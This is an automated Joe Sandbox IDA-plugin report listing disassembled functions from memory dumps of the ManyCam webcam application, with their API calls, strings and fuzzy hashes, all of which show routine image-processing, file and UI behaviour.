Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: memset$CreateProcesswcscatwcscpy
String ID: D$explorer
API String ID: 2548451390-59806483
Opcode ID: 87fd29d6fdca06f79b8b93392fe1b8594b1ff79018bf0756e576e94cb8c1d6ac
Instruction ID: 906bf29f722530e8e831fd4767c9bb697a1163fcdc31cec5d0d8c6568ad6c1cf
Opcode Fuzzy Hash: 87fd29d6fdca06f79b8b93392fe1b8594b1ff79018bf0756e576e94cb8c1d6ac
Instruction Fuzzy Hash: 0E019BB194021CABDB10DB60EC8AFED7738BF54700F440699F609961C1EB755B58CF55

Uniqueness

Uniqueness Score: -1.00%

Function 004042F0 Relevance: 12.1, APIs: 8, Instructions: 101COMMON

Download Yara Rule

APIs

cvCopy.CXCORE099(?,?,00000000,?,?,?,FFFFFFFE,?,?,?,?,00401620), ref: 00404309
cvInvert.CXCORE099(?,?,00000000,?,?,FFFFFFFE,?,?,?,?,00401620), ref: 00404321
cvGEMM.CXCORE099(?,?,?,?,?,00000000,?,?,?,?,?,FFFFFFFE), ref: 0040436B

Part of subcall function 00403550: cvResetImageROI.CXCORE099(?,?,FFFFFFFE), ref: 004035F7
Part of subcall function 00403550: cvResetImageROI.CXCORE099(?,FFFFFFFE), ref: 00403603
Part of subcall function 00403550: cvResetImageROI.CXCORE099(?,?,FFFFFFFE), ref: 0040360F
Part of subcall function 00403550: cvSet.CXCORE099(?), ref: 00403636
Part of subcall function 00403550: cvSet.CXCORE099(?), ref: 0040365D

cvSetImageROI.CXCORE099(?), ref: 004043B7
cvSetImageROI.CXCORE099(?), ref: 004043D9
cvCopy.CXCORE099(?,?,00000000), ref: 004043E5
cvResetImageROI.CXCORE099(?), ref: 004043EE
cvResetImageROI.CXCORE099(?), ref: 004043F7

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: Image$Reset$Copy$Invert
String ID:
API String ID: 2642547888-0
Opcode ID: e93eb0512fcc8a041c5aa665e6f27bd66d5727e802e950380074bd07c4e28349
Instruction ID: 4832167a604e7eee410914a1b349f3b52c2c1ab0660e6587da0ebae9eec7833f
Opcode Fuzzy Hash: e93eb0512fcc8a041c5aa665e6f27bd66d5727e802e950380074bd07c4e28349
Instruction Fuzzy Hash: 5B3153F4A007009FC314EF14D886F57BBE4AF89710F04896DE98A57381D635E9158BA6

Uniqueness

Uniqueness Score: -1.00%

Function 004012F0 Relevance: 12.1, APIs: 8, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00402EC0: cvReleaseMat.CXCORE099(00000118,?), ref: 00402ED9
Part of subcall function 00402EC0: cvReleaseMat.CXCORE099(00000114), ref: 00402EEB
Part of subcall function 00402EC0: cvReleaseMat.CXCORE099(0000011C), ref: 00402EFD
Part of subcall function 00402EC0: cvReleaseMat.CXCORE099(00000120), ref: 00402F0F
Part of subcall function 00402EC0: cvReleaseMat.CXCORE099(00000124), ref: 00402F21
Part of subcall function 00402EC0: cvReleaseMat.CXCORE099(00000128), ref: 00402F33
Part of subcall function 00402EC0: cvReleaseMat.CXCORE099(0000012C), ref: 00402F45
Part of subcall function 00402EC0: cvReleaseMat.CXCORE099(00000130), ref: 00402F57
Part of subcall function 00402EC0: cvReleaseMat.CXCORE099(00000134), ref: 00402F69
Part of subcall function 00402EC0: cvReleaseMat.CXCORE099(00000100), ref: 00402F77
Part of subcall function 00402EC0: cvReleaseMat.CXCORE099(00000104), ref: 00402F89
Part of subcall function 00402EC0: cvReleaseMat.CXCORE099(00000110), ref: 00402F9B
Part of subcall function 00402EC0: cvReleaseMat.CXCORE099(00000108), ref: 00402FAD
Part of subcall function 00402EC0: cvReleaseMat.CXCORE099(0000010C), ref: 00402FBF
Part of subcall function 00402EC0: cvReleaseMat.CXCORE099(00000138), ref: 00402FD1
Part of subcall function 00402EC0: cvReleaseMat.CXCORE099(0000013C), ref: 00402FE3

cvReleaseImage.CXCORE099(?,?,?,004012A0,?), ref: 00401313
cvReleaseImage.CXCORE099(00000000,?,?,004012A0,?), ref: 00401325
cvReleaseImage.CXCORE099(00000000,?,?,004012A0,?), ref: 00401337
cvReleaseImage.CXCORE099(-000000A8,?,?,004012A0,?), ref: 00401347
cvReleaseImage.CXCORE099(?,-000000A8,?,?,004012A0,?), ref: 00401355
cvReleaseMat.CXCORE099(00000000,004012A0,?), ref: 0040136E
cvReleaseImage.CXCORE099(?,004012A0,?), ref: 0040137C
??3@YAXPAX@Z.MSVCR80 ref: 00401387

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: Release$Image$??3@
String ID:
API String ID: 4199280203-0
Opcode ID: ce4da6eb0e3a7f94bb66be05ad3657c3e2c6a0438bd0ebaefe0091d5ba8a80e6
Instruction ID: 9a6bf2f685f8ffb5b2492dd8c0792c90c05741bbbc79e9eb21885bcc9159b9e2
Opcode Fuzzy Hash: ce4da6eb0e3a7f94bb66be05ad3657c3e2c6a0438bd0ebaefe0091d5ba8a80e6
Instruction Fuzzy Hash: 8F11E9F580021297FB20AB14E84AB5BB7A8EF41700F58443AE845636D0F73DF9A5C797

Uniqueness

Uniqueness Score: -1.00%

Function 004C27C0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 336COMMON

Download Yara Rule

APIs

??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP80(map/set<T> too long,74C45DB3,?,?,00000000,00534159,000000FF,?,004C2664,?,00000001,00000000,004BCB55,00000001,00000000,00000000), ref: 004C2804
std::bad_exception::bad_exception.LIBCMTD ref: 004C2818
_CxxThrowException.MSVCR80(d&L,0057CBF8), ref: 004C2826
??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ.MSVCP80(d&L,0057CBF8,?,?,?,00000000,00534159,000000FF,?,004C2664,?,00000001,00000000,004BCB55,00000001,00000000), ref: 004C2835

Strings

map/set<T> too long, xrefs: 004C27FC
d&L, xrefs: 004C2815, 004C2822, 004C2825

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: D@2@@std@@D@std@@U?$char_traits@V?$allocator@$??0?$basic_string@??1?$basic_string@ExceptionThrowstd::bad_exception::bad_exception
String ID: d&L$map/set<T> too long
API String ID: 3248949544-2396053701
Opcode ID: 9e2109b489b36a333a9366bcbadb2707d019cd34c0dca1b399f2e05f1bc863c7
Instruction ID: 0421590c6fc88a653ea049570befb3043dc480636a3316981a528d684021d55e
Opcode Fuzzy Hash: 9e2109b489b36a333a9366bcbadb2707d019cd34c0dca1b399f2e05f1bc863c7
Instruction Fuzzy Hash: 8DD11B74A002459FCB04FFA9C991EAF7776AF89304B20456EF4159B356CB78AC05CBB8

Uniqueness

Uniqueness Score: -1.00%

Function 004D4D80 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 336COMMON

Download Yara Rule

APIs

??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z.MSVCP80(map/set<T> too long,74C45DB3,?,?,00000000,00535759,000000FF,?,004D4C24,?,00000001,00000000,?,00000001,00000000,00000000), ref: 004D4DC4
std::bad_exception::bad_exception.LIBCMTD ref: 004D4DD8
_CxxThrowException.MSVCR80($LM,0057CBF8), ref: 004D4DE6
??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ.MSVCP80($LM,0057CBF8,?,?,?,00000000,00535759,000000FF,?,004D4C24,?,00000001,00000000,?,00000001,00000000), ref: 004D4DF5

Strings

$LM, xrefs: 004D4DD5, 004D4DE2, 004D4DE5
map/set<T> too long, xrefs: 004D4DBC

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: D@2@@std@@D@std@@U?$char_traits@V?$allocator@$??0?$basic_string@??1?$basic_string@ExceptionThrowstd::bad_exception::bad_exception
String ID: $LM$map/set<T> too long
API String ID: 3248949544-3238143215
Opcode ID: b3a5ef0cd3d0604de93e7cfc4f998ecbca4839092f53841d330d18dc272e40e7
Instruction ID: a07927191520cae1e6be455f76438f534ad6819f987c116f95f500b89d554bea
Opcode Fuzzy Hash: b3a5ef0cd3d0604de93e7cfc4f998ecbca4839092f53841d330d18dc272e40e7
Instruction Fuzzy Hash: A9D10B71A142159FCB04EFE5E8A1E6F7776AFC9304B50455FF0129B359DA38AC02CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 004AAB20 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 256COMMON

Download Yara Rule

APIs

Part of subcall function 00438A10: clock.MSVCR80 ref: 00438AA7
Part of subcall function 00438A10: _DebugHeapAllocator.LIBCPMTD ref: 00438AC5

Concurrency::task_options::get_scheduler.LIBCPMTD ref: 004AAC1D
Concurrency::details::SchedulerBase::GetPolicy.LIBCMTD ref: 004AAC4F

Part of subcall function 00438AF0: clock.MSVCR80 ref: 00438B1F

Strings

Inserting effect %s\%s\%s to stack at position %d., xrefs: 004AAC73
CVideoProcessor::InsertEffectToStack, xrefs: 004AAB4B
Inserting effect %s to stack at position %d., xrefs: 004AACE1

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: clock$AllocatorBase::Concurrency::details::Concurrency::task_options::get_schedulerDebugHeapPolicyScheduler
String ID: CVideoProcessor::InsertEffectToStack$Inserting effect %s to stack at position %d.$Inserting effect %s\%s\%s to stack at position %d.
API String ID: 1896687067-3121683814
Opcode ID: 2f379fbdc71ef8fe106dd6932f9e4df42c7bfac42d585d9b32fea62b007a0ea8
Instruction ID: 105fcc333d0e6ff14583993c1dd746094cb4f3fab98b4d368d8a839d86cc259d
Opcode Fuzzy Hash: 2f379fbdc71ef8fe106dd6932f9e4df42c7bfac42d585d9b32fea62b007a0ea8
Instruction Fuzzy Hash: 56B12B70900208EFCB14DFA8C891BDEBBB5BF59314F10825EE419AB391DB74AE45CB95

Uniqueness

Uniqueness Score: -1.00%

Function 004F6860 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 180memoryCOMMON

Download Yara Rule

APIs

_DebugHeapAllocator.LIBCPMTD ref: 004F68AB
_DebugHeapAllocator.LIBCPMTD ref: 004F68DB
_DebugHeapAllocator.LIBCPMTD ref: 004F6903
_DebugHeapAllocator.LIBCPMTD ref: 004F692B

Part of subcall function 004CB0F0: _DebugHeapAllocator.LIBCPMTD ref: 004CB139
Part of subcall function 004CB0F0: _DebugHeapAllocator.LIBCPMTD ref: 004CB155
Part of subcall function 004CB0F0: _DebugHeapAllocator.LIBCPMTD ref: 004CB171
Part of subcall function 004CB0F0: _DebugHeapAllocator.LIBCPMTD ref: 004CB1A3
Part of subcall function 004CB0F0: _DebugHeapAllocator.LIBCPMTD ref: 004CB1D6

??0CxImage@@QAE@K@Z.CXIMAGECRT(00000000,000000FF,?,?,?,?,?,?,?,?,?,00000000,?,00000001,74C45DB3), ref: 004F696D

Part of subcall function 004CB5F0: SHGetSpecialFolderPathW.SHELL32(00000000,?,?,00000000), ref: 004CB626
Part of subcall function 004CB5F0: _wmkdir.MSVCR80 ref: 004CB633

Part of subcall function 0040EE30: _DebugHeapAllocator.LIBCPMTD ref: 0040EE68
Part of subcall function 0040EE30: _DebugHeapAllocator.LIBCPMTD ref: 0040EEAA

Part of subcall function 004164A0: FindFirstFileW.KERNEL32(00000000,00000104,000000D8,00000104,00000000), ref: 004164F5

Strings

\ManyCam\BackgroundEffect, xrefs: 004F69A8

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: AllocatorDebugHeap$FileFindFirstFolderImage@@PathSpecial_wmkdir
String ID: \ManyCam\BackgroundEffect
API String ID: 711174743-980167294
Opcode ID: be2178804a92c928cd2aed66c8cbe30649dd095b03b0f11a4b1ac172dfbbafa9
Instruction ID: 1d1004133df218b0561d43129003d36592f772ef424460559cb02d2d1cb950c8
Opcode Fuzzy Hash: be2178804a92c928cd2aed66c8cbe30649dd095b03b0f11a4b1ac172dfbbafa9
Instruction Fuzzy Hash: 5E8189B0901258DEDB14EF64DC41BDEBBB6AB94308F0081DEE449A3281DB795B98CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00405430 Relevance: 10.6, APIs: 7, Instructions: 129COMMON

Download Yara Rule

APIs

cvSet.CXCORE099(?,?,?,?,?,?,?,00000000,?,?,00405609,00000000,?,?,?,?), ref: 00405455
_CIcos.MSVCR80 ref: 004054AB
_CIsin.MSVCR80 ref: 004054C0
_CIcos.MSVCR80 ref: 00405513
_CIsin.MSVCR80 ref: 00405528

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: IcosIsin
String ID:
API String ID: 14690888-0
Opcode ID: 276f5b0b340e471206aa856c43127869a290fb93fcdf002dd0d7d5e66133fcaa
Instruction ID: f55afc7f36c79dbe8a91edad75af3db0966c0985aa664003f4d56b1ff0a10eb2
Opcode Fuzzy Hash: 276f5b0b340e471206aa856c43127869a290fb93fcdf002dd0d7d5e66133fcaa
Instruction Fuzzy Hash: A351AF34609602DFC324DF14E68982ABBB0FF84700B918D88E4E5676A9D731E879CA56

Uniqueness

Uniqueness Score: -1.00%

Function 004A93F0 Relevance: 10.6, APIs: 7, Instructions: 118memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00416740: _DebugHeapAllocator.LIBCPMTD ref: 00416795

_DebugHeapAllocator.LIBCPMTD ref: 004A945B

Part of subcall function 0040EA00: _DebugHeapAllocator.LIBCPMTD ref: 0040EA0E

Part of subcall function 004164A0: FindFirstFileW.KERNEL32(00000000,00000104,000000D8,00000104,00000000), ref: 004164F5

wcscmp.MSVCR80 ref: 004A948B
wcscmp.MSVCR80 ref: 004A94A4
_DebugHeapAllocator.LIBCPMTD ref: 004A94F6
_DebugHeapAllocator.LIBCPMTD ref: 004A9508
wcslen.MSVCR80 ref: 004A9514
wcslen.MSVCR80 ref: 004A957A

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: AllocatorDebugHeap$wcscmpwcslen$FileFindFirst
String ID:
API String ID: 1577558999-0
Opcode ID: 0cb7d27af655883c31428af5e0bb9fad3cc48976a5dbef61661fdd01497b3954
Instruction ID: f16ea4ad88e480f90c3d3a557b52af9eaab9dd6428fdd0c1f69d551c8bda1375
Opcode Fuzzy Hash: 0cb7d27af655883c31428af5e0bb9fad3cc48976a5dbef61661fdd01497b3954
Instruction Fuzzy Hash: 5E5120B19041189BCB24EB65DD91BEDB774BF14308F0085EE960A62281EF34AF88CF5C

Uniqueness

Uniqueness Score: -1.00%

Function 004266B0 Relevance: 10.6, APIs: 7, Instructions: 103COMMON

Download Yara Rule

APIs

Part of subcall function 004078E0: GetClientRect.USER32(?,00000000), ref: 004078F1

GetStockObject.GDI32(00000000), ref: 0042670E
FillRect.USER32(?,00000000,00000000), ref: 0042671D
?GetWidth@CxImage@@QBEKXZ.CXIMAGECRT ref: 00426744
?Draw@CxImage@@QAEJPAUHDC__@@ABUtagRECT@@PAU3@_N@Z.CXIMAGECRT(00000000,?,00000000,00000000), ref: 00426769
?GetWidth@CxImage@@QBEKXZ.CXIMAGECRT(00000000,?,00000000,00000000), ref: 0042677D
?Draw@CxImage@@QAEJPAUHDC__@@ABUtagRECT@@PAU3@_N@Z.CXIMAGECRT(00000000,?,00000000,00000000,00000000,?,00000000,00000000), ref: 004267A4
?Draw@CxImage@@QAEJPAUHDC__@@ABUtagRECT@@PAU3@_N@Z.CXIMAGECRT(00000000,?,00000000,00000000,00000000,?,00000000,00000000,00000000,?,00000000,00000000), ref: 004267CF

Part of subcall function 00412790: BitBlt.GDI32(FFFFFFFF,?,?,?,?,?,?,?,00CC0020), ref: 00412805

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: Image@@$C__@@Draw@U3@_Utag$RectWidth@$ClientFillObjectStock
String ID:
API String ID: 3635710602-0
Opcode ID: 2e902237a62102cc0783c26eea87632ae7e55b0e330416ba1cdccc3c8738a941
Instruction ID: 636054c8f4e363f310d4610df5f6cab4c07c672653326205662c59b6922b00b1
Opcode Fuzzy Hash: 2e902237a62102cc0783c26eea87632ae7e55b0e330416ba1cdccc3c8738a941
Instruction Fuzzy Hash: FA41E6B1D00209ABDB08EFD8D991BEEBBB4FF48304F14812EE516A7284DB746945CB65

Uniqueness

Uniqueness Score: -1.00%

Function 017727D3 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 84COMMON

Download Yara Rule

APIs

cvGetMat.CXCORE099(?,?,?,00000000), ref: 0177290E
cvGetErrStatus.CXCORE099 ref: 01772918
cvError.CXCORE099(FFFFFF2F,cvMean_StdDev,017A124F,.\cxmeansdv.cpp,000002F4), ref: 01772BD4

Strings

Inner function failed., xrefs: 0177292B
.\cxmeansdv.cpp, xrefs: 01772926
cvMean_StdDev, xrefs: 01772930

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: ErrorStatus
String ID: .\cxmeansdv.cpp$Inner function failed.$cvMean_StdDev
API String ID: 1596131371-2503262327
Opcode ID: ae5bd6e839ca45a23c2220168304946b296b177ae31772cdedaac5b37b56380b
Instruction ID: 8afa4bb5d7c59ef5b5754cd4f80bcd15293592199ed5c6cf57eff4951138760f
Opcode Fuzzy Hash: ae5bd6e839ca45a23c2220168304946b296b177ae31772cdedaac5b37b56380b
Instruction Fuzzy Hash: 8C31D2B0189708CBCB249F15F44945AFFF4FB94368F4695ACF4949B25ADB3180A8CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 004265B0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 004CB670: _DebugHeapAllocator.LIBCPMTD ref: 004CB6AA
Part of subcall function 004CB670: _DebugHeapAllocator.LIBCPMTD ref: 004CB711
Part of subcall function 004CB670: _DebugHeapAllocator.LIBCPMTD ref: 004CB76F
Part of subcall function 004CB670: _DebugHeapAllocator.LIBCPMTD ref: 004CB787

_DebugHeapAllocator.LIBCPMTD ref: 00426617

Part of subcall function 0040EA00: _DebugHeapAllocator.LIBCPMTD ref: 0040EA0E

Part of subcall function 0040EE30: _DebugHeapAllocator.LIBCPMTD ref: 0040EE68
Part of subcall function 0040EE30: _DebugHeapAllocator.LIBCPMTD ref: 0040EEAA

_DebugHeapAllocator.LIBCPMTD ref: 00426655
?Load@CxImage@@QAE_NPB_WK@Z.CXIMAGECRT(00000000,00000000,.png,?,?,00543BA0,data\images\maindlg\,?,?,?,74C45DB3), ref: 00426678

Strings

;T, xrefs: 004265E6
.png, xrefs: 0042664D
data\images\maindlg\, xrefs: 0042660F

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: AllocatorDebugHeap$Image@@Load@
String ID: .png$data\images\maindlg\$;T
API String ID: 1315443971-490103044
Opcode ID: 25dd62ad1dffaf1f7697ce5bb85d4b016747b7766f05fd68e0ce10921046d88e
Instruction ID: d6baf32a8499c7f25828db752c6f53ce77f9777766276abc85c2b1cdef14b565
Opcode Fuzzy Hash: 25dd62ad1dffaf1f7697ce5bb85d4b016747b7766f05fd68e0ce10921046d88e
Instruction Fuzzy Hash: B7314A71D052489BCF04EFA5D885BEEBBB8FB08318F10452EE41277291DB386609CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0042AC80 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 004CB670: _DebugHeapAllocator.LIBCPMTD ref: 004CB6AA
Part of subcall function 004CB670: _DebugHeapAllocator.LIBCPMTD ref: 004CB711
Part of subcall function 004CB670: _DebugHeapAllocator.LIBCPMTD ref: 004CB76F
Part of subcall function 004CB670: _DebugHeapAllocator.LIBCPMTD ref: 004CB787

_DebugHeapAllocator.LIBCPMTD ref: 0042ACE7

Part of subcall function 0040EA00: _DebugHeapAllocator.LIBCPMTD ref: 0040EA0E

Part of subcall function 0040EE30: _DebugHeapAllocator.LIBCPMTD ref: 0040EE68
Part of subcall function 0040EE30: _DebugHeapAllocator.LIBCPMTD ref: 0040EEAA

_DebugHeapAllocator.LIBCPMTD ref: 0042AD25
?Load@CxImage@@QAE_NPB_WK@Z.CXIMAGECRT(00000000,00000000,.png,000000CC,00000001,00545BC0,data\images\maindlg\,00000001,?,00000000,74C45DB3,00000008,000000CC,0000003E,00000001), ref: 0042AD48

Strings

data\images\maindlg\, xrefs: 0042ACDF
[T, xrefs: 0042ACAF
.png, xrefs: 0042AD1D

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

